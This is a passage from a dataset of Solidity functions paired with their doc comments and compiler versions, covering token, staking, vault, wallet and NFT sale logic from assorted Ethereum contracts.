deposit something\");\n\n IAaveATokenV2 aToken = _getATokenFor(_bAsset);\n\n quantityDeposited = _amount;\n\n if (_hasTxFee) {\n // If we charge a fee, account for it\n uint256 prevBal = _checkBalance(aToken);\n _getLendingPool().deposit(_bAsset, _amount, address(this), 36);\n uint256 newBal = _checkBalance(aToken);\n quantityDeposited = _min(quantityDeposited, newBal - prevBal);\n } else {\n _getLendingPool().deposit(_bAsset, _amount, address(this), 36);\n }\n\n emit Deposit(_bAsset, address(aToken), quantityDeposited);\n }", "version": "0.8.6"} {"comment": "/** @dev Withdraws _totalAmount from the lending pool, sending _amount to user */", "function_code": "function _withdraw(\n address _receiver,\n address _bAsset,\n uint256 _amount,\n uint256 _totalAmount,\n bool _hasTxFee\n ) internal {\n require(_totalAmount > 0, \"Must withdraw something\");\n\n IAaveATokenV2 aToken = _getATokenFor(_bAsset);\n\n if (_hasTxFee) {\n require(_amount == _totalAmount, \"Cache inactive for assets with fee\");\n _getLendingPool().withdraw(_bAsset, _amount, _receiver);\n } else {\n _getLendingPool().withdraw(_bAsset, _totalAmount, address(this));\n // Send redeemed bAsset to the receiver\n IERC20(_bAsset).safeTransfer(_receiver, _amount);\n }\n\n emit PlatformWithdrawal(_bAsset, address(aToken), _totalAmount, _amount);\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Withdraw a quantity of bAsset from the cache.\n * @param _receiver Address to which the bAsset should be sent\n * @param _bAsset Address of the bAsset\n * @param _amount Units of bAsset to withdraw\n */", "function_code": "function withdrawRaw(\n address _receiver,\n address _bAsset,\n uint256 _amount\n ) external override onlyLP nonReentrant {\n require(_amount > 0, \"Must withdraw something\");\n require(_receiver != address(0), \"Must specify recipient\");\n\n IERC20(_bAsset).safeTransfer(_receiver, _amount);\n\n emit Withdrawal(_bAsset, address(0), _amount);\n }", "version": "0.8.6"} {"comment": "/*\r\n * @param _withdrawalAddress address to which funds from this contract will be sent\r\n */", "function_code": "function setWithdrawalAddress(address payable _withdrawalAddress) public onlyAdmin returns (bool success) {\r\n\r\n require(\r\n !withdrawalAddressFixed,\r\n \"Withdrawal address already fixed\"\r\n );\r\n\r\n require(\r\n _withdrawalAddress != address(0),\r\n \"Wrong address: 0x0\"\r\n );\r\n\r\n require(\r\n _withdrawalAddress != address(this),\r\n \"Wrong address: contract itself\"\r\n );\r\n\r\n emit WithdrawalAddressChanged(withdrawalAddress, _withdrawalAddress, msg.sender);\r\n\r\n withdrawalAddress = _withdrawalAddress;\r\n\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @param _withdrawalAddress Address to which funds from this contract will be sent.\r\n *\r\n * @dev This function can be called one time only.\r\n */", "function_code": "function fixWithdrawalAddress(address _withdrawalAddress) external onlyAdmin returns (bool success) {\r\n\r\n // prevents event if already fixed\r\n require(\r\n !withdrawalAddressFixed,\r\n \"Can't change, address fixed\"\r\n );\r\n\r\n // check, to prevent fixing wrong address\r\n require(\r\n withdrawalAddress == _withdrawalAddress,\r\n \"Wrong address in argument\"\r\n );\r\n\r\n withdrawalAddressFixed = true;\r\n\r\n emit WithdrawalAddressFixed(withdrawalAddress, msg.sender);\r\n\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev This function can be called by any user or contract.\r\n * Possible warning:\r\n check for reentrancy vulnerability http://solidity.readthedocs.io/en/develop/security-considerations.html#re-entrancy\r\n * Since we are making a withdrawal to our own contract/address only there is no possible attack using reentrancy vulnerability\r\n */", "function_code": "function withdrawAllToWithdrawalAddress() external returns (bool success) {\r\n\r\n // http://solidity.readthedocs.io/en/develop/security-considerations.html#sending-and-receiving-ether\r\n // about
.send(uint256 amount) and
.transfer(uint256 amount)\r\n // see: http://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=transfer#address-related\r\n // https://ethereum.stackexchange.com/questions/19341/address-send-vs-address-transfer-best-practice-usage\r\n\r\n uint sum = address(this).balance;\r\n\r\n if (!withdrawalAddress.send(sum)) {// makes withdrawal and returns true (success) or false\r\n\r\n emit Withdrawal(withdrawalAddress, sum, msg.sender, false);\r\n\r\n return false;\r\n }\r\n\r\n emit Withdrawal(withdrawalAddress, sum, msg.sender, true);\r\n\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "/*\r\n * @dev This function creates new shares contracts.\r\n * @param _description Description of the project or organization (can be short text or link to web page)\r\n * @param _name Name of the token, as required by ERC20.\r\n * @param _symbol Symbol for the token, as required by ERC20.\r\n * @param _totalSupply Total supply, as required by ERC20.\r\n * @param _dividendsPeriodInSeconds Period between dividends payout rounds, in seconds.\r\n */", "function_code": "function createCryptoSharesContract(\r\n string calldata _description,\r\n string calldata _name,\r\n string calldata _symbol,\r\n uint _totalSupply,\r\n uint _dividendsPeriodInSeconds\r\n ) external payable returns (bool success){\r\n\r\n require(\r\n msg.value >= price,\r\n \"msg.value is less than price\"\r\n );\r\n\r\n CryptoShares cryptoSharesContract = new CryptoShares();\r\n\r\n cryptoSharesContractsCounter++;\r\n\r\n cryptoSharesContract.initToken(\r\n cryptoSharesContractsCounter,\r\n _description,\r\n _name,\r\n _symbol,\r\n _dividendsPeriodInSeconds,\r\n xEurContractAddress,\r\n address(cryptonomicaVerification),\r\n disputeResolutionAgreement\r\n );\r\n\r\n cryptoSharesContract.issueTokens(\r\n _totalSupply,\r\n msg.sender\r\n );\r\n\r\n cryptoSharesContractsCounter;\r\n cryptoSharesContractsLedger[cryptoSharesContractsCounter].contractId = cryptoSharesContractsCounter;\r\n cryptoSharesContractsLedger[cryptoSharesContractsCounter].contractAddress = address(cryptoSharesContract);\r\n cryptoSharesContractsLedger[cryptoSharesContractsCounter].deployedOnUnixTime = now;\r\n cryptoSharesContractsLedger[cryptoSharesContractsCounter].name = cryptoSharesContract.name();\r\n cryptoSharesContractsLedger[cryptoSharesContractsCounter].symbol = cryptoSharesContract.symbol();\r\n cryptoSharesContractsLedger[cryptoSharesContractsCounter].totalSupply = cryptoSharesContract.totalSupply();\r\n cryptoSharesContractsLedger[cryptoSharesContractsCounter].dividendsPeriod = cryptoSharesContract.dividendsPeriod();\r\n\r\n emit NewCryptoSharesContractCreated(\r\n cryptoSharesContractsLedger[cryptoSharesContractsCounter].contractId,\r\n cryptoSharesContractsLedger[cryptoSharesContractsCounter].contractAddress,\r\n cryptoSharesContractsLedger[cryptoSharesContractsCounter].name,\r\n cryptoSharesContractsLedger[cryptoSharesContractsCounter].symbol,\r\n cryptoSharesContractsLedger[cryptoSharesContractsCounter].totalSupply,\r\n cryptoSharesContractsLedger[cryptoSharesContractsCounter].dividendsPeriod\r\n );\r\n\r\n return true;\r\n\r\n }", "version": "0.5.11"} {"comment": "// Only positions with locked veFXS can accrue yield. Otherwise, expired-locked veFXS\n// is de-facto rewards for FXS.", "function_code": "function eligibleCurrentVeFXS(address account) public view returns (uint256) {\n uint256 curr_vefxs_bal = veFXS.balanceOf(account);\n IveFXS.LockedBalance memory curr_locked_bal_pack = veFXS.locked(account);\n \n // Only unexpired veFXS should be eligible\n if (int256(curr_locked_bal_pack.amount) == int256(curr_vefxs_bal)) {\n return 0;\n }\n else {\n return curr_vefxs_bal;\n }\n }", "version": "0.8.4"} {"comment": "//public payable", "function_code": "function presale( uint quantity ) external payable {\r\n require( isPresaleActive, \"Presale is not active\" );\r\n require( quantity <= MAX_ORDER, \"Order too big\" );\r\n require( msg.value >= PRESALE_PRICE * quantity, \"Ether sent is not correct\" );\r\n require( accessList[msg.sender] > 0, \"Not authorized\" );\r\n\r\n uint supply = totalSupply();\r\n require( supply + quantity <= MAX_SUPPLY, \"Mint/order exceeds supply\" );\r\n accessList[msg.sender] -= quantity;\r\n\r\n for(uint i; i < quantity; ++i){\r\n _mint( msg.sender, supply++ );\r\n }\r\n }", "version": "0.8.7"} {"comment": "//delegated payable", "function_code": "function burnFrom( address owner, uint[] calldata tokenIds ) external payable onlyDelegates{\r\n for(uint i; i < tokenIds.length; ++i ){\r\n require( _exists( tokenIds[i] ), \"Burn for nonexistent token\" );\r\n require( _owners[ tokenIds[i] ] == owner, \"Owner mismatch\" );\r\n _burn( tokenIds[i] );\r\n }\r\n }", "version": "0.8.7"} {"comment": "//delegated nonpayable", "function_code": "function resurrect( uint[] calldata tokenIds, address[] calldata recipients ) external onlyDelegates{\r\n require(tokenIds.length == recipients.length, \"Must provide equal tokenIds and recipients\" );\r\n\r\n address to;\r\n uint tokenId;\r\n address zero = address(0);\r\n for(uint i; i < tokenIds.length; ++i ){\r\n to = recipients[i];\r\n require(recipients[i] != address(0), \"resurrect to the zero address\" );\r\n\r\n tokenId = tokenIds[i];\r\n require( !_exists( tokenId ), \"can't resurrect existing token\" );\r\n\r\n \r\n _owners[tokenId] = to;\r\n // Clear approvals\r\n _approve(zero, tokenId);\r\n emit Transfer(zero, to, tokenId);\r\n }\r\n }", "version": "0.8.7"} {"comment": "// If the period expired, renew it", "function_code": "function retroCatchUp() internal {\n // Failsafe check\n require(block.timestamp > periodFinish, \"Period has not expired yet!\");\n\n // Ensure the provided yield amount is not more than the balance in the contract.\n // This keeps the yield rate in the right range, preventing overflows due to\n // very high values of yieldRate in the earned and yieldPerToken functions;\n // Yield + leftover must be less than 2^256 / 10^18 to avoid overflow.\n uint256 num_periods_elapsed = uint256(block.timestamp.sub(periodFinish)) / yieldDuration; // Floor division to the nearest period\n uint256 balance0 = emittedToken.balanceOf(address(this));\n require(\n yieldRate.mul(yieldDuration).mul(num_periods_elapsed + 1) <=\n balance0,\n \"Not enough emittedToken available for yield distribution!\"\n );\n\n periodFinish = periodFinish.add(\n (num_periods_elapsed.add(1)).mul(yieldDuration)\n );\n\n uint256 yield0 = yieldPerVeFXS();\n yieldPerVeFXSStored = yield0;\n lastUpdateTime = lastTimeYieldApplicable();\n\n emit YieldPeriodRenewed(emitted_token_address, yieldRate);\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Burns a specific amount of tokens from another address.\r\n * @param _value The amount of tokens to be burned.\r\n * @param _from The address which you want to burn tokens from.\r\n */", "function_code": "function burnFrom(address _from, uint _value) public returns (bool success) {\r\n require((balances[_from] > _value) && (_value <= allowed[_from][msg.sender]));\r\n var _allowance = allowed[_from][msg.sender];\r\n balances[_from] = balances[_from].sub(_value);\r\n totalSupply = totalSupply.sub(_value);\r\n allowed[_from][msg.sender] = _allowance.sub(_value);\r\n Burn(_from, _value);\r\n return true;\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @dev Returns ceil(a / b).\r\n */", "function_code": "function ceil(uint256 a, uint256 b) internal pure returns (uint256) {\r\n uint256 c = a / b;\r\n if(a % b == 0) {\r\n return c;\r\n }\r\n else {\r\n return c + 1;\r\n }\r\n }", "version": "0.5.4"} {"comment": "// *************** Signature ********************** //", "function_code": "function getSignHash(bytes memory _data, uint256 _nonce) internal view returns(bytes32) {\r\n // use EIP 191\r\n // 0x1900 + this logic address + data + nonce of signing key\r\n bytes32 msgHash = keccak256(abi.encodePacked(byte(0x19), byte(0), address(this), _data, _nonce));\r\n bytes32 prefixedHash = keccak256(abi.encodePacked(SIGN_HASH_PREFIX, msgHash));\r\n return prefixedHash;\r\n }", "version": "0.5.4"} {"comment": "/* get signer address from data\r\n * @dev Gets an address encoded as the first argument in transaction data\r\n * @param b The byte array that should have an address as first argument\r\n * @returns a The address retrieved from the array\r\n */", "function_code": "function getSignerAddress(bytes memory _b) internal pure returns (address _a) {\r\n require(_b.length >= 36, \"invalid bytes\");\r\n // solium-disable-next-line security/no-inline-assembly\r\n assembly {\r\n let mask := 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\r\n _a := and(mask, mload(add(_b, 36)))\r\n // b = {length:32}{method sig:4}{address:32}{...}\r\n // 36 is the offset of the first parameter of the data, if encoded properly.\r\n // 32 bytes for the length of the bytes array, and the first 4 bytes for the function signature.\r\n // 32 bytes is the length of the bytes array!!!!\r\n }\r\n }", "version": "0.5.4"} {"comment": "// get method id, first 4 bytes of data", "function_code": "function getMethodId(bytes memory _b) internal pure returns (bytes4 _a) {\r\n require(_b.length >= 4, \"invalid data\");\r\n // solium-disable-next-line security/no-inline-assembly\r\n assembly {\r\n // 32 bytes is the length of the bytes array\r\n _a := mload(add(_b, 32))\r\n }\r\n }", "version": "0.5.4"} {"comment": "/**\r\n * @dev This method makes it possible for the wallet to comply to interfaces expecting the wallet to\r\n * implement specific static methods. It delegates the static call to a target contract if the data corresponds\r\n * to an enabled method, or logs the call otherwise.\r\n */", "function_code": "function() external payable {\r\n if(msg.data.length > 0) {\r\n address logic = enabled[msg.sig];\r\n if(logic == address(0)) {\r\n emit Received(msg.value, msg.sender, msg.data);\r\n }\r\n else {\r\n require(LogicManager(manager).isAuthorized(logic), \"must be an authorized logic for static call\");\r\n // solium-disable-next-line security/no-inline-assembly\r\n assembly {\r\n calldatacopy(0, 0, calldatasize())\r\n let result := staticcall(gas, logic, 0, calldatasize(), 0, 0)\r\n returndatacopy(0, 0, returndatasize())\r\n switch result\r\n case 0 {revert(0, returndatasize())}\r\n default {return (0, returndatasize())}\r\n }\r\n }\r\n }\r\n }", "version": "0.5.4"} {"comment": "/**\n * @notice Approves this contract to transfer `amount` tokens from the `msg.sender`\n * and stakes these tokens. Only the owner of tokens (i.e. the staker) may call.\n * @dev This contract does not need to be approve()'d in advance - see EIP-2612\n * @param owner - The owner of tokens being staked (i.e. the `msg.sender`)\n * @param amount - Amount to stake\n * @param v - \"v\" param of the signature from `owner` for \"permit\"\n * @param r - \"r\" param of the signature from `owner` for \"permit\"\n * @param s - \"s\" param of the signature from `owner` for \"permit\"\n * @param stakeType - Type of the stake\n * @param data - Arbitrary data for \"RewardMaster\" (zero, if inapplicable)\n * @return stake ID\n */", "function_code": "function permitAndStake(\n address owner,\n uint256 amount,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s,\n bytes4 stakeType,\n bytes calldata data\n ) external returns (uint256) {\n require(owner == msg.sender, \"Staking: owner must be msg.sender\");\n TOKEN.permit(owner, address(this), amount, deadline, v, r, s);\n return _createStake(owner, amount, stakeType, data);\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Claims staked token\n * @param stakeID - ID of the stake to claim\n * @param data - Arbitrary data for \"RewardMaster\" (zero, if inapplicable)\n * @param _isForced - Do not revert if \"RewardMaster\" fails\n */", "function_code": "function unstake(\n uint256 stakeID,\n bytes calldata data,\n bool _isForced\n ) external stakeExist(msg.sender, stakeID) {\n Stake memory _stake = stakes[msg.sender][stakeID];\n\n require(_stake.claimedAt == 0, \"Staking: Stake claimed\");\n require(_stake.lockedTill < safe32TimeNow(), \"Staking: Stake locked\");\n\n if (_stake.delegatee != address(0)) {\n _undelegatePower(_stake.delegatee, msg.sender, _stake.amount);\n }\n _removePower(msg.sender, _stake.amount);\n\n stakes[msg.sender][stakeID].claimedAt = safe32TimeNow();\n\n totalStaked = safe96(uint256(totalStaked) - uint256(_stake.amount));\n\n emit StakeClaimed(msg.sender, stakeID);\n\n // known contract - reentrancy guard and `safeTransfer` unneeded\n require(\n TOKEN.transfer(msg.sender, _stake.amount),\n \"Staking: transfer failed\"\n );\n\n Terms memory _terms = terms[_stake.stakeType];\n if (_terms.isRewarded) {\n _sendUnstakedMsg(msg.sender, _stake, data, _isForced);\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Updates vote delegation\n * @param stakeID - ID of the stake to delegate votes uber\n * @param to - address to delegate to\n */", "function_code": "function delegate(uint256 stakeID, address to)\n public\n stakeExist(msg.sender, stakeID)\n {\n require(\n to != GLOBAL_ACCOUNT,\n \"Staking: Can't delegate to GLOBAL_ACCOUNT\"\n );\n\n Stake memory s = stakes[msg.sender][stakeID];\n require(s.claimedAt == 0, \"Staking: Stake claimed\");\n require(s.delegatee != to, \"Staking: Already delegated\");\n\n if (s.delegatee == address(0)) {\n _delegatePower(msg.sender, to, s.amount);\n } else {\n if (to == msg.sender) {\n _undelegatePower(s.delegatee, msg.sender, s.amount);\n } else {\n _reDelegatePower(s.delegatee, to, s.amount);\n }\n }\n\n emit Delegation(msg.sender, s.delegatee, to, stakeID, s.amount);\n\n stakes[msg.sender][stakeID].delegatee = to;\n }", "version": "0.8.4"} {"comment": "/// Only for the owner functions\n/// @notice Adds a new stake type with given terms\n/// @dev May be only called by the {OWNER}", "function_code": "function addTerms(bytes4 stakeType, Terms memory _terms)\n external\n onlyOwner\n nonZeroStakeType(stakeType)\n {\n Terms memory existingTerms = terms[stakeType];\n require(!_isDefinedTerms(existingTerms), \"Staking:E1\");\n require(_terms.isEnabled, \"Staking:E2\");\n\n uint256 _now = timeNow();\n\n if (_terms.allowedTill != 0) {\n require(_terms.allowedTill > _now, \"Staking:E3\");\n require(_terms.allowedTill > _terms.allowedSince, \"Staking:E4\");\n }\n\n if (_terms.maxAmountScaled != 0) {\n require(\n _terms.maxAmountScaled > _terms.minAmountScaled,\n \"Staking:E5\"\n );\n }\n\n // only one of three \"lock time\" parameters must be non-zero\n if (_terms.lockedTill != 0) {\n require(\n _terms.exactLockPeriod == 0 && _terms.minLockPeriod == 0,\n \"Staking:E6\"\n );\n require(\n _terms.lockedTill > _now &&\n _terms.lockedTill >= _terms.allowedTill,\n \"Staking:E7\"\n );\n } else {\n require(\n // one of two params must be non-zero\n (_terms.exactLockPeriod == 0) != (_terms.minLockPeriod == 0),\n \"Staking:E8\"\n );\n }\n\n terms[stakeType] = _terms;\n emit TermsAdded(stakeType);\n }", "version": "0.8.4"} {"comment": "/// This function is from Nick Johnson's string utils library", "function_code": "function memcpy(uint dest, uint src, uint len) private pure {\r\n // Copy word-length chunks while possible\r\n for(; len >= 32; len -= 32) {\r\n assembly {\r\n mstore(dest, mload(src))\r\n }\r\n dest += 32;\r\n src += 32;\r\n }\r\n\r\n // Copy remaining bytes\r\n uint mask = 256 ** (32 - len) - 1;\r\n assembly {\r\n let srcpart := and(mload(src), not(mask))\r\n let destpart := and(mload(dest), mask)\r\n mstore(dest, or(destpart, srcpart))\r\n }\r\n }", "version": "0.7.4"} {"comment": "// This famous algorithm is called \"exponentiation by squaring\"\n// and calculates x^n with x as fixed-point and n as regular unsigned.\n//\n// It's O(log n), instead of O(n) for naive repeated multiplication.\n//\n// These facts are why it works:\n//\n// If n is even, then x^n = (x^2)^(n/2).\n// If n is odd, then x^n = x * x^(n-1),\n// and applying the equation for even x gives\n// x^n = x * (x^2)^((n-1) / 2).\n//\n// Also, EVM division is flooring and\n// floor[(n-1) / 2] = floor[n / 2].\n//", "function_code": "function rpow(uint x, uint n) internal pure returns (uint z) {\r\n\r\n z = n % 2 != 0 ? x : RAY;\r\n\r\n\r\n\r\n for (n /= 2; n != 0; n /= 2) {\r\n\r\n x = rmul(x, x);\r\n\r\n\r\n\r\n if (n % 2 != 0) {\r\n\r\n z = rmul(z, x);\r\n\r\n }\r\n\r\n }\r\n\r\n }", "version": "0.4.25"} {"comment": "/**\r\n \r\n * @dev Transfer tokens from one address to another\r\n \r\n * @param src address The address which you want to send tokens from\r\n \r\n * @param dst address The address which you want to transfer to\r\n \r\n * @param wad uint256 the amount of tokens to be transferred\r\n \r\n */", "function_code": "function transferFrom(address src, address dst, uint wad)\r\n\r\n public\r\n\r\n returns (bool)\r\n\r\n {\r\n\r\n if (src != msg.sender) {\r\n\r\n _approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);\r\n\r\n }\r\n\r\n\r\n\r\n _balances[src] = sub(_balances[src], wad);\r\n\r\n _balances[dst] = add(_balances[dst], wad);\r\n\r\n\r\n\r\n emit Transfer(src, dst, wad);\r\n\r\n\r\n\r\n return true;\r\n\r\n }", "version": "0.4.25"} {"comment": "/* ========== USER MUTATIVE FUNCTIONS ========== */", "function_code": "function deposit(uint _amount) external nonReentrant {\n _updateReward(msg.sender);\n\n uint _pool = balance();\n token.safeTransferFrom(msg.sender, address(this), _amount);\n\n uint shares = 0;\n if (totalSupply() == 0) {\n shares = _amount;\n } else {\n shares = (_amount.mul(totalSupply())).div(_pool);\n }\n _mint(msg.sender, shares);\n emit Deposit(msg.sender, _amount);\n }", "version": "0.6.12"} {"comment": "// No rebalance implementation for lower fees and faster swaps", "function_code": "function withdraw(uint _shares) public nonReentrant {\n _updateReward(msg.sender);\n\n uint r = (balance().mul(_shares)).div(totalSupply());\n _burn(msg.sender, _shares);\n\n // Check balance\n uint b = token.balanceOf(address(this));\n if (b < r) {\n uint _withdraw = r.sub(b);\n IController(controller).withdraw(address(this), _withdraw);\n uint _after = token.balanceOf(address(this));\n uint _diff = _after.sub(b);\n if (_diff < _withdraw) {\n r = b.add(_diff);\n }\n }\n\n token.safeTransfer(msg.sender, r);\n emit Withdraw(msg.sender, r);\n }", "version": "0.6.12"} {"comment": "// Keepers call farm() to send funds to strategy", "function_code": "function farm() external onlyKeeper {\n uint _bal = available();\n\n uint keeperFee = _bal.mul(farmKeeperFeeMin).div(MAX);\n if (keeperFee > 0) {\n token.safeTransfer(msg.sender, keeperFee);\n }\n\n uint amountLessFee = _bal.sub(keeperFee);\n token.safeTransfer(controller, amountLessFee);\n IController(controller).farm(address(this), amountLessFee);\n\n emit Farm(msg.sender, keeperFee, amountLessFee);\n }", "version": "0.6.12"} {"comment": "// Keepers call harvest() to claim rewards from strategy\n// harvest() is marked as onlyEOA to prevent sandwich/MEV attack to collect most rewards through a flash-deposit() follow by a claim", "function_code": "function harvest() external onlyKeeper {\n uint _rewardBefore = rewardToken.balanceOf(address(this));\n IController(controller).harvest(address(this));\n uint _rewardAfter = rewardToken.balanceOf(address(this));\n\n uint harvested = _rewardAfter.sub(_rewardBefore);\n uint keeperFee = harvested.mul(harvestKeeperFeeMin).div(MAX);\n if (keeperFee > 0) {\n rewardToken.safeTransfer(msg.sender, keeperFee);\n }\n\n uint newRewardAmount = harvested.sub(keeperFee);\n // distribute new rewards to current shares evenly\n rewardsPerShareStored = rewardsPerShareStored.add(newRewardAmount.mul(1e18).div(totalSupply()));\n\n emit Harvest(msg.sender, keeperFee, newRewardAmount);\n }", "version": "0.6.12"} {"comment": "// Writes are allowed only if the accessManager approves", "function_code": "function setAttribute(address _who, bytes32 _attribute, uint256 _value, bytes32 _notes) public {\r\n require(confirmWrite(_attribute, msg.sender));\r\n attributes[_who][_attribute] = AttributeData(_value, _notes, msg.sender, block.timestamp);\r\n emit SetAttribute(_who, _attribute, _value, _notes, msg.sender);\r\n\r\n RegistryClone[] storage targets = subscribers[_attribute];\r\n uint256 index = targets.length;\r\n while (index --> 0) {\r\n targets[index].syncAttributeValue(_who, _attribute, _value);\r\n }\r\n }", "version": "0.5.8"} {"comment": "/**\r\n * @notice Deposit funds into contract.\r\n * @dev the amount of deposit is determined by allowance of this contract\r\n */", "function_code": "function depositToken(address _user) public {\r\n\r\n\r\n uint256 allowance = StakeToken(token).allowance(_user, address(this));\r\n uint256 oldBalance = userTokenBalance[_user];\r\n uint256 newBalance = oldBalance.add(allowance);\r\n require(StakeToken(token).transferFrom(_user, address(this), allowance), \"transfer failed\");\r\n\r\n /// Update user balance\r\n userTokenBalance[_user] = newBalance;\r\n\r\n /// update the total balance for the token\r\n totalTokenBalance = totalTokenBalance.add(allowance);\r\n\r\n // assert(StakeToken(token).balanceOf(address(this)) == totalTokenBalance);\r\n\r\n /// Fire event and return some goodies\r\n emit UserBalanceChange(_user, oldBalance, newBalance);\r\n }", "version": "0.5.1"} {"comment": "/// @notice Send `_amount` tokens to `_to` from `_from` on the condition it\n/// is approved by `_from`\n/// @param _from The address holding the tokens being transferred\n/// @param _to The address of the recipient\n/// @param _amount The amount of tokens to be transferred\n/// @return True if the transfer was successful", "function_code": "function transferFrom(address _from, address _to, uint256 _amount\r\n ) public returns (bool success) {\r\n\r\n // The controller of this contract can move tokens around at will,\r\n // this is important to recognize! Confirm that you trust the\r\n // controller of this contract, which in most situations should be\r\n // another open source smart contract or 0x0\r\n if (msg.sender != controller) {\r\n require(transfersEnabled);\r\n\r\n // The standard ERC 20 transferFrom functionality\r\n require(allowed[_from][msg.sender] >= _amount);\r\n allowed[_from][msg.sender] -= _amount;\r\n }\r\n doTransfer(_from, _to, _amount);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on\n/// its behalf. This is a modified version of the ERC20 approve function\n/// to be a little bit safer\n/// @param _spender The address of the account able to transfer the tokens\n/// @param _amount The amount of tokens to be approved for transfer\n/// @return True if the approval was successful", "function_code": "function approve(address _spender, uint256 _amount) public returns (bool success) {\r\n require(transfersEnabled);\r\n\r\n // To change the approve amount you first have to reduce the addresses`\r\n // allowance to zero by calling `approve(_spender,0)` if it is not\r\n // already 0 to mitigate the race condition described here:\r\n // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\r\n require((_amount == 0) || (allowed[msg.sender][_spender] == 0));\r\n\r\n // Alerts the token controller of the approve function call\r\n if (isContract(controller)) {\r\n require(TokenController(controller).onApprove(msg.sender, _spender, _amount));\r\n }\r\n\r\n allowed[msg.sender][_spender] = _amount;\r\n emit Approval(msg.sender, _spender, _amount);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "////////////////\n/// @dev Queries the balance of `_owner` at a specific `_blockNumber`\n/// @param _owner The address from which the balance will be retrieved\n/// @param _blockNumber The block number when the balance is queried\n/// @return The balance at `_blockNumber`", "function_code": "function balanceOfAt(address _owner, uint256 _blockNumber) public view\r\n returns (uint256) {\r\n\r\n // These next few lines are used when the balance of the token is\r\n // requested before a check point was ever created for this token, it\r\n // requires that the `parentToken.balanceOfAt` be queried at the\r\n // genesis block for that token as this contains initial balance of\r\n // this token\r\n if ((balances[_owner].length == 0)\r\n || (balances[_owner][0].fromBlock > _blockNumber)) {\r\n if (address(parentToken) != 0) {\r\n return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));\r\n } else {\r\n // Has no parent\r\n return 0;\r\n }\r\n\r\n // This will return the expected balance during normal situations\r\n } else {\r\n return getValueAt(balances[_owner], _blockNumber);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @notice Total amount of tokens at a specific `_blockNumber`.\n/// @param _blockNumber The block number when the totalSupply is queried\n/// @return The total amount of tokens at `_blockNumber`", "function_code": "function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {\r\n\r\n // These next few lines are used when the totalSupply of the token is\r\n // requested before a check point was ever created for this token, it\r\n // requires that the `parentToken.totalSupplyAt` be queried at the\r\n // genesis block for this token as that contains totalSupply of this\r\n // token at this block number.\r\n if ((totalSupplyHistory.length == 0)\r\n || (totalSupplyHistory[0].fromBlock > _blockNumber)) {\r\n if (address(parentToken) != 0) {\r\n return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));\r\n } else {\r\n return 0;\r\n }\r\n\r\n // This will return the expected totalSupply during normal situations\r\n } else {\r\n return getValueAt(totalSupplyHistory, _blockNumber);\r\n }\r\n }", "version": "0.4.24"} {"comment": "////////////////\n/// @notice Generates `_amount` tokens that are assigned to `_owner`\n/// @param _owner The address that will be assigned the new tokens\n/// @param _amount The quantity of tokens generated\n/// @return True if the tokens are generated correctly", "function_code": "function generateTokens(address _owner, uint256 _amount\r\n ) public onlyController returns (bool) {\r\n uint256 curTotalSupply = totalSupply();\r\n require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow\r\n uint256 previousBalanceTo = balanceOf(_owner);\r\n require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow\r\n updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);\r\n updateValueAtNow(balances[_owner], previousBalanceTo + _amount);\r\n emit Transfer(0, _owner, _amount);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/// @notice Burns `_amount` tokens from `_owner`\n/// @param _owner The address that will lose the tokens\n/// @param _amount The quantity of tokens to burn\n/// @return True if the tokens are burned correctly", "function_code": "function destroyTokens(address _owner, uint256 _amount\r\n ) onlyController public returns (bool) {\r\n uint256 curTotalSupply = totalSupply();\r\n require(curTotalSupply >= _amount);\r\n uint256 previousBalanceFrom = balanceOf(_owner);\r\n require(previousBalanceFrom >= _amount);\r\n updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);\r\n updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);\r\n emit Transfer(_owner, 0, _amount);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "////////////////\n/// @dev `getValueAt` retrieves the number of tokens at a given block number\n/// @param checkpoints The history of values being queried\n/// @param _block The block number to retrieve the value at\n/// @return The number of tokens being queried", "function_code": "function getValueAt(Checkpoint[] storage checkpoints, uint256 _block\r\n ) view internal returns (uint256) {\r\n if (checkpoints.length == 0) return 0;\r\n\r\n // Shortcut for the actual value\r\n if (_block >= checkpoints[checkpoints.length-1].fromBlock)\r\n return checkpoints[checkpoints.length-1].value;\r\n if (_block < checkpoints[0].fromBlock) return 0;\r\n\r\n // Binary search of the value in the array\r\n uint256 min = 0;\r\n uint256 max = checkpoints.length-1;\r\n while (max > min) {\r\n uint256 mid = (max + min + 1) / 2;\r\n if (checkpoints[mid].fromBlock <= _block) {\r\n min = mid;\r\n } else {\r\n max = mid - 1;\r\n }\r\n }\r\n return checkpoints[min].value;\r\n }", "version": "0.4.24"} {"comment": "/// @dev `updateValueAtNow` used to update the `balances` map and the\n/// `totalSupplyHistory`\n/// @param checkpoints The history of data being updated\n/// @param _value The new number of tokens", "function_code": "function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value\r\n ) internal {\r\n if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {\r\n Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];\r\n newCheckPoint.fromBlock = uint128(block.number);\r\n newCheckPoint.value = uint128(_value);\r\n } else {\r\n Checkpoint storage 